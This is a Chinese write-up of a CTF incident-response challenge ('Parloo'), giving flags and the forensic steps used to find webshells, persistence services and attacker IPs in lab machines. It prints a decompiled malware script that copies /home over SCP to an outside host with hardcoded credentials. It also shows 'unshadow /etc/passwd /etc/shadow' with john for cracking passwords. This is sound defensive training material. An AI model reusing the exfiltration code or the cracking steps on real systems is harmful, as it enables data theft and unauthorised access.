solar_Linux后门排查(复现)

题目描述

跳板机疑似被遗留后门,请排查
1、找到可疑进程完整路径
2、找到被横向的服务器IP
3、连接被横向服务器
flag格式为 flag{base64{完整路径}|服务器IP|服务器中flag文本}
root:Solar@2025_05_palu!

palu{L3Vzci9saWIvc3lzdGVtZC9zeXN0ZW1kLWxvZ2lu|49.232.112.164|ZX0001S}

连接服务器执行ss就能看到恶意IP49.232.112.164根据进程找到绝对路径

进程为/usr/lib/systemd/systemd-login

最后ssh连上去即可获得flagZX0001S

应急响应 - 畸形的爱

官方附件密码Parloo&zgsfsys&onefox&solar**juyt

应急响应之畸形的爱.pdf

做这题的注意事项:
1、虚拟机解压后是挂起状态,不要重启,否则可能会解不出个别题目

2、要把Webserver中的IP手动改为192.168.87.101,否则会出现docker容器无法启动的问题

应急响应1-1 提交攻击者使用的攻击ip地址1

palu{192.168.31.240}

首先,在/var/www/html目录下可以看到一个木马a.php

所以黑客肯定连上过这个webshell,直接去翻看/var/log/nginx/accexs.log.1的日志可以找到第一个攻击IP

1
cat access.log.1 | grep "a.php"

应急响应1-2 提交攻击者使用的攻击ip地址2

palu{192.168.31.11}

要从虚拟机挂起状态启动webserver才能在网络连接状态里面看到第二个攻击者的IP

这里实际是一堆反弹shell在回连192.168.31.11

1
netstat -anotp

另外一种思路:

如果无法打开挂起状态可以在docker容器中可以看到一个clean.sh

里面就是反弹shell的命令,地址就是192.168.31.11

应急响应1-3(复现)题解攻击者暴力破解开始时间

palu{2025:03:05:58}

通过查找docker中的phpmyadmin的运行日志可以看到在2025:03:05:58开始,有大量的POST登录请求

这大量的请求就是登录爆破

1
docker logs 680

应急响应1-4 提交攻击者留下的flag1

palu{pc3_zgsfqwerlkssaw}

打开Win10 PC-2的任务计划程序即可看到flag1

应急响应1-5 提交攻击者留下的flag2

palu{nizhidaowoyouduoainima}

点击flag1计划任务里面的操作,可以看到指向了一个a.bat

打开就能看到flag

应急响应1-6 提交攻击者留下的flag3

palu{sqlaabbccsbwindows}

先在Webserver服务器中查看数据库连接密码,然后再进入Mysql虚拟机查看数据库详情

进入数据库中可以看到一个1066订单,里面数据其实就是Base64编码而已

或者在订单查询系统输入ORD-2023-1066也可以看到flag

应急响应1-7 提交钓鱼文件的哈希32位大写

palu{2977CDAB8F3EE5EFDDAE61AD9F6CF203}

查看内网通里面的聊天记录可以知道,王美欣是被钓鱼的用户

简历.zip解压后是一个简历.exe文件

扔微步云沙箱就能知道这个文件就是钓鱼文件

应急响应1-8(复现)提交攻击者留下的webshell-1密码

palu{hack}

在Webserver的docker容器ec87eb8a81c7里面

1
docker exec -it ec87eb8a81c7 /bin/sh

应急响应1-9(复现)提交攻击者开放端口

palu{1133,1144,8084}

在Webserver中的定时任务找到了第一个开放端口(如果重启了虚拟机就看不到这个文件)

在docker内的clear.sh也可以看到第二个端口

Win10 PC2的网络连接状态中找到了第三个端口(如果重启了虚拟机就看不到这个网络连接状态)

应急响应1-10 提交攻击者留下的webshell密码2

palu{00232}

在Webserver中的a.php

应急响应1-11 提交攻击者留下的隐藏账户的密码

palu{wmx_love}

在计算机管理中可以找到名为system$的隐藏账号

使用proactive system password recovery查看用户密码hash

然后放到cmd5解密(要钱)

应急响应1-12(复现)溯源攻击者的邮箱

palu{n0k4u@outlook.com}

用IDA看简历.exe重可以看到一个特殊的用户名n0k4u

直接搜这个名字可以看到一个Github项目

用GitHub的接口反查邮箱https://api.github.com/users/<用户名>/events/public

https://api.github.com/users/n0k4u/events/public

应急响应1-13(复现)提交溯源后得到的flag

palu{loveyouibiejv}

进入他的GitHub可以看到一个项目

查看历史提交信息

发现一个疑似QQ号

flag在添加好友处

应急响应主线

官方附件解压密码Skills@@@Skills@@@Skills

第二届“Parloo”CTF应急响应挑战赛应急响应场景挑战说明手册.pdf

应急响应2-1 提交堡垒机中留下的flag

palu{2025_qiandao_flag}

登录堡垒机,在标签列表处就能看到flag

应急响应2-2 提交WAF中隐藏的flag

palu{2025_waf}

点击身份验证-配置就能看到flag

应急响应2-3 提交Mysql中留下的flag

palu{Mysql_@2025}

我直接在server01的1Panel面板上装了个phpMyAdmin进行分析,连接信息如下

登录进去后就能看到flag

应急响应2-4 提交攻击者的攻击IP

palu{192.168.20.107}

这个很容易找,就在WAF日志中就能看到攻击者是192.168.20.107

提一嘴,雷池WAF默认访问日志位置在/data/safeline/logs/nginx/safeline

如果没专业版想导出日志看的可以在这个位置找到

应急响应2-5 提交攻攻击者最早攻击时间

palu{2025-05-05-00:04:40}

攻击最早时间就在右边(这题一开始被官方给的错误格式坑了)

应急响应2-6 提交web服务泄露的关键文件名

palu{key.txt}

在WAF中的web服务里可以看到一个key.txt他就是泄露的文件

应急响应2-7 题解泄露的邮箱地址

palu{parloo@parloo.com}

key.txt文件一直向右拉就可以看到一个邮箱


应急响应2-8 提交立足点服务器ip地址

palu{192.168.20.108}

在WAF中看到了有从SSH Server运维机出来的攻击流量,猜测立足点就是 192.168.20.108

应急响应2-9 提交攻击者使用的提权的用户和密码

palu{parloo/parloo}

既然知道了攻击者立足点为192.168.20.108所以直接来看SSH Server里面是否有疑似账号就行了

这机子感觉做了什么手脚,SSH无法连且登录进去要很久,只要输入完账号密码后按Ctrl+C就可以快速进入

先将/etc/passwd文件和/etc/shadow文件合并成一个.txt文件

1
unshadow /etc/passwd /etc/shadow > 1.txt

然后在ssh里面开了一个python服务把文件放到了另一台机子用john跑parloo账号的密码

应急响应2-10 提交攻击者留下的的文件内容作为flag提交

palu{hi_2025_parloo_is_hack}

就在parloo用户的家目录里面

应急响应2-11(复现)提交权限维持方法服务的名称

palu{rootset}

运行以下命令可以看到两个可疑的运行中的服务

1
systemctl list-units --type=service 

查看服务运行状态

1
2
systemctl status rootset.service
systemctl status rootset-test.service

两个服务都指向了一个文件/usr/bin/b4b40c44ws

开个python的http服务下载下来扔微步云沙箱发现是木马

所以就能猜测是权限维持服务

应急响应2-12 提交攻击者攻击恶意服务器连接地址作为flag提交

palu{47.101.213.153}

b4b40c44ws扔进IDA查看即可看到服务器恶意连接地址

应急响应2-13(复现)找到系统中被劫持的程序程序名作为flag提交

palu{id}

首先查看一下权限维持木马的创建时间

1
stat b4b40c44ws

然后根据这个时间查看5月7号当天被修改的文件就能看到id这个一起被修改的程序

1
find /usr -type f -nawermt "2025-05-7"

应急响应2-14 找到系统中存在信息泄露的服务运行端口作为flag提交

palu{8081}

打开Server01的1Panel面板可以看到有两个站点

其中第一个站点是一个员工档案管理

查看页面源码可以发现泄露了敏感信息,所以就是8081端口

应急响应2-15 提交Parloo公司项目经理的身份证号作为flag提交

palu{310105198512123456}
在上一题的页面源码就能看到相关身份证信息

应急响应2-16(复现)提交存在危险功能的操作系统路径作为flag提交

palu{/admin/parloo}

这题估计得看完gitea里面留下的维护页文件后才能大致知道思路,管理员在服务器上开了一个维护页面

进容器执行以下命令更改admin的密码

1
2
3
4
docker exec -it 224d7f8df25c /bin/bash
su git
cd /app/gitea
./gitea admin user change-password --username admin --password admin123

然后登录gitea就能看到在仓库放的维护页面源码

当时是真没想到这个页面开在了server服务器里,端口为8080(当时就疑惑这个页面开放在哪里)

1
netstat -lanp

而且可以执行恶意命令,所以flag就是/admin/parloo

应急响应2-17(复现)提交进源机器中恶意程序的MD5作为flag进行提交

palu{0f80a82621b8c4c3303d198d13776b34}

被近源机器03一开机就会有个程序报错,而且放的位置很难不引起怀疑(当时我没怀疑这个报错亲手关了 Dogs)

扔沙箱之后就能发现是恶意程序了

但是答案不对,最后在临时目录下看见另一个svhost.exe文件,文件大小不一样,扔沙箱还是显示木马

应急响应2-18 提交攻击者留下的恶意账户名称md5后作为flag进行提交

palu{d78b6f30225cdc811adfe8d4e7c9fd34}

在进入被近源的机子系统前就可以看到多了一个hack账号

应急响应2-19 提交内部群中留下的flag并提交

palu{nbq_nbq_parloo}

就在内网通的聊天记录里

应急响应2-20 请提交攻击者使用维护页面获取到的敏感内容作为flag进行提交

palu{Server_Parloo_2025}

还记得gitea仓库里面的带有危险功能的页面吗,在源码中日志文件的名字为command.log

所以直接全局搜这个文件即可

1
find / -name 'command.log'

真正的日志文件就在/var/log/parloo/command.log

在631行中可以看到一个flag

应急响应2-21 提交获取敏感内容IP的第一次执行命令时间作为flag进行提交

palu{2025-05-04:15:30:38}

看日志第一行的时间就行

应急响应2-22 提交攻击者使用的恶意ip和端口

palu{10.12.12.13:9999}

还是看日志文件就行

应急响应2-23(复现)提交重要数据的名文内容作为flag提交

palu{Password-000}

在gitea仓库中是存有hack的一个加密脚本的

密文就在被近源机器03的桌面上

因为没有密钥,所以是猜测明文开头为palu{让AI进行逆向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def custom_encrypt(text, key):
encrypted = []
key_bytes = [ord(c) for c in key]

for i, char in enumerate(text):
shifted = ord(char) + (i % 5 + 1)

xor_key = key_bytes[i % len(key_bytes)]
xored = shifted ^ xor_key
substituted = ((xored & 0x0F) << 4) | ((xored & 0xF0) >> 4)
encrypted.append(f"{substituted:02x}")
return "".join(encrypted)


def custom_decrypt(encrypted_text, key):
decrypted = []
key_bytes = [ord(c) for c in key]

# Process the encrypted text two characters at a time (hex pairs)
for i in range(0, len(encrypted_text), 2):
# Convert hex pair to integer
substituted = int(encrypted_text[i : i + 2], 16)

# Reverse nibble swap
xored = ((substituted & 0x0F) << 4) | ((substituted & 0xF0) >> 4)

# Reverse XOR with key
xor_key = key_bytes[i // 2 % len(key_bytes)]
shifted = xored ^ xor_key

# Reverse the position-based shift
char_code = shifted - ((i // 2 % 5) + 1)

# Convert back to character
decrypted.append(chr(char_code))

return "".join(decrypted)


print(custom_decrypt("c3a1c3c13e326020c3919093e1260525045e", "MySecretKey"))
# palu{Password-000}

应急响应2-24(复现)提交恶意维权软件的名称作为flag进行提交

palu{svhost}

还记得前面17题找到的恶意软件吗,就是他

应急响应2-25 提交恶意程序的外联地址

palu{88.173.90.103}

在近源机器机器中还有一个恶意程序,在Parloo用户的家目录下名称为ifconfig.exe

一个经典Pyinstaller打包的Python程序,逆向出来后即可看到外连IP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: 恶意程序1.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import paramiko
from scp import SCPClient
from pathlib import Path

def create_ssh_client(server, port, username, password=None, key_path=None):
"""
创建SSH客户端连接
"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
if key_path:
private_key = paramiko.RSAKey.from_private_key_file(key_path)
client.connect(server, port, username, pkey=private_key)
else:
client.connect(server, port, username, password)
return client
except Exception as e:
print(f'连接错误: {str(e)}')
return None

def transfer_directory(scp, local_path, remote_path):
"""
递归传输目录
"""
for item in os.listdir(local_path):
local_item = os.path.join(local_path, item)
if os.path.islink(local_item):
print(f'跳过符号链接: {local_item}')
continue
remote_item = os.path.join(remote_path, item)
if os.path.isdir(local_item):
try:
scp.mkdir(remote_item)
except:
pass
transfer_directory(scp, local_item, remote_item)
else:
print(f'传输文件中: {local_item}')
scp.put(local_item, remote_item)

def main():
ssh_config = {'server': '88.173.90.103', 'port': 22, 'username': 'ubuntu', 'password': 'OOWPWPWADADA'}
local_home = '/home'
remote_base = '/home/ubuntu/backup_home'
ssh = create_ssh_client(**ssh_config)
if not ssh:
return
try:
with SCPClient(ssh.get_transport()) as scp:
Path(local_home).mkdir(parents=True, exist_ok=True)
transfer_directory(scp, local_home, remote_base)
print('传输完成')
except Exception as e:
print(f'传输错误: {str(e)}')
finally:
ssh.close()
if __name__ == '__main__':
main()

应急响应2-26 提交攻击这使用的恶意dnslog域名作为flag进行提交

palu{np85qqde.requestrepo.com}

还记得前面第20题找到的command.log日志文件吗

在日志里面就可以找到

应急响应2-27 提交寻找反序列化漏洞的端口作为flag进行提交

palu{9999}

在WAF中筛选具有反序列化攻击的流量

就这段流量是响应302,其他都是响应404或400

应急响应2-28(复现)提交web服务泄露的密钥作为flag进行提交链接

palu{QZYysgMYhG6/CzIJlVpR2g==}

在WAF的防护应用可以看到192.168.20.102:9999是代理了192.168.20.103:9999的服务

然而在对应的1Panel管理面板中并没有看到开启了端口为9999的站点

使用ss命令查看Server服务器网络情况,并根据PID找到占用9999端口的程序

不用ss命令也可以装net-tools用netstat命令

1
2
ss -anotp | grep "9999"
ps -ef | grep "844"

可以找到占用的程序为/opt/adminAF.jar

拉出来用Java Decompiler看源码就能找到泄露的密钥

应急响应2-29(复现)提交攻击者开始攻击的时间作为flag进行提交

找了很多师傅的WP都没看到正确答案故后续等官方WP

应急响应2-30 提交攻击者在server中留下的账户密码作为flag进行提交

palu{parloohack/123456}

查看/etc/passwd可以看到攻击者留下的账号

合并/etc/passwd和/etc/shadow文件然后用john爆破就行

1
unshadow /etc/passwd /etc/shadow > 1.txt

应急响应2-31(复现)提交攻击者维权方法的名称作为flag进行提交

palu{parloohack_script.service}

在server机中切换到parloohack用户查看执行命令的历史记录中可以看到

攻击者新增并启动了一个特别的服务,还增加了自启动

查看该服务可以发现启动了/home/parloohack/python3.3.py

继续分析/home/parloohack/python3.3.py发现是很明显的维权方法

所以flag就是parloohack_script.service

应急响应2-32 提交攻击者留下的木马md5后作为flag进行提交

palu{4123940b3911556d4bf79196cc008bf4}

parloohack用户的家目录下可以看到一个特殊的文件aa

扔沙箱就可以发现是木马

应急响应2-33(复现)提交攻击者留下的溯源信息作为flag进行提交

palu{X5E1yklz1oAdyHBZ}

在PC2的浏览器的密码管理器中可以找到攻击者留下的溯源信息(这是真没想到)

应急响应2-34(复现)提交攻击者的githubID作为flag进行提交

palu{<font style="color:rgb(0, 0, 0);">ParlooSEc</font>}

这个用户登录的账号是一个QQ号

去他的QQ空间中查看就可以知道Github的ID为<font style="color:rgb(0, 0, 0);">ParlooSEc来点str吧</font>

但是找不到用户为<font style="color:rgb(0, 0, 0);">ParlooSEc来点str吧</font>直到试了<font style="color:rgb(0, 0, 0);">ParlooSEc</font>

应急响应2-35(复现)提交攻击者在github下留下的的内容作为flag进行提交

palu{s5o3WkX33hptyJjk}

在GitHub中看他的fffflllgggg项目就可以看到flag

应急响应2-36 提交恶意用户的数量作为flag进行提交

palu{99}

进不去虚拟机是正常的,被攻击者改了密码,可以参考该文章清掉密码:

https://blog.csdn.net/weixin_52244898/article/details/138998529

打开PC01的显示隐藏文件夹即可在C盘看到一个脚本,里面创建了99个恶意用户

应急响应2-37 提交恶意用户的默认密码作为flag进行提交

palu{123456}

在上一题即可看到都是默认密码为123456

应急响应2-38 提交业务数据中攻击者留下的信息作为flag进行提交

palu{crP1ZIVfqrkfdhGy}

我是直接在server服务器中的1Panel面板中备份整个数据库下载下来然后搜索palu抢到三血的

应急响应2-39 提交私人git仓库中留下的内容作为flag进行提交

palu{FO65SruuTukdpBS5}

在gitea的palu仓库里

应急响应2-40(复现)提交存在在mysql服务器中的恶意程序的MD5作为flag进行提交

palu{ba7c9fc1ff58b48d0df5c88d2fcc5cd1}

找了我大半天,结果就是被我扔到沙箱中检测不出恶意的.a文件(哭死)

在root用户的历史命令记录中可以看到一直在编辑.a文件

全局搜索找到该文件

我把程序扔到云沙箱中检测不到恶意所以我直接忽略了这个文件(看来不能完全相信沙箱的检测结果 哭)

应急响应2-41(复现)提交恶意程序中模拟c2通信的函数名称作为flag进行提交

palu{simulate_network_communication}

扔进IDA就发现了为什么沙箱检测为安全了,全是模拟的函数(他真的我哭死)

模拟通讯的函数就是simulate_network_communication

应急响应2-42(复现)提交恶意程序创建隐藏文件的名称作为flag提交

palu{.malware_log.txt}

create_hidden_file函数里面

应急响应2-43(复现)提交恶意程序中模拟权限提升的函数作为flag进行提交

palu{simulate_privilege_escalation}

就是函数simulate_privilege_escalation

吐槽:白给4题我真服了_

应急响应2-44 提交被钓鱼上线的用户名作为flag进行提交

palu{Parloo-子怡}

在内网通的聊天记录中可以看到PC01是单独给PC02发了一个恶意程序的

应急响应2-45 提交恶意程序的所在路径作为flag进行提交

palu{C:\Users\Public\Nwt\cache\recv\Parloo-沉沉}

看上一题就能知道路径

应急响应2-46 分析恶意程序的反连地址作为flag进行提交

palu{47.101.213.153}

还记得在前面33题找到保存了的账号密码吗,保存的就是恶意程序的反连地址的账号于密码

因为这个恶意程序加了UPX的壳,还只能手工脱壳且在会检测云沙箱环境,作者比较菜所以没有手工脱壳分析

所以我是放在物理机中运行恶意程序然后用火绒安全工具获得的反连地址(危险操作请勿模仿)

正确操作

应急响应2-47(复现)提交恶意c2的服务器登录的账号密码作为flag进行提交

palu{admin/admin@qwer}

就是浏览器保存的C2地址中的账号密码